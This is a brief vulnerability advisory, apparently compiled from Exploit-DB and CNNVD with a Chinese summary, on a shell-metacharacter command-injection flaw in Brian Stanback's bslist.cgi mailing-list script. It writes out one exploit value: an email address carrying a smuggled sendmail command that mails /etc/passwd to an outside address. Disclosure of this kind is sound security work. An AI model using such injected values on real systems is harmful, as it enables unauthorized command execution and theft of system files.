https://www.exploit-db.com/exploits/20525
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200102-061

bslist.cgi邮寄清单脚本存在漏洞。远程攻击者借助邮件地址的shell元字符执行任意命令。

source: http://www.securityfocus.com/bid/2160/info

An input validation vulnerability exists in Brian Stanback's bslist.cgi, a script designed to coordinate mailing lists.

The script fails to properly filter ';' characters from the user-supplied email addresses collected by the script.

As a result, maliciously-formed values for this field can cause the the script to run arbitrary shell commands with the privilege level of the web server. 

This can be exploited by signing up for the mailing list with the email address of

'[email protected];/usr/sbin/sendmail [email protected] < /etc/passwd'

来源:XF
名称:bslist-cgi-execute-commands
链接:http://xforce.iss.net/static/5797.php
来源:www.stanback.net
链接:http://www.stanback.net/
来源:BUGTRAQ
名称:20001221BSScriptsVulnerabilities
链接:http://archives.neohapsis.com/archives/bugtraq/2000-12/0390.html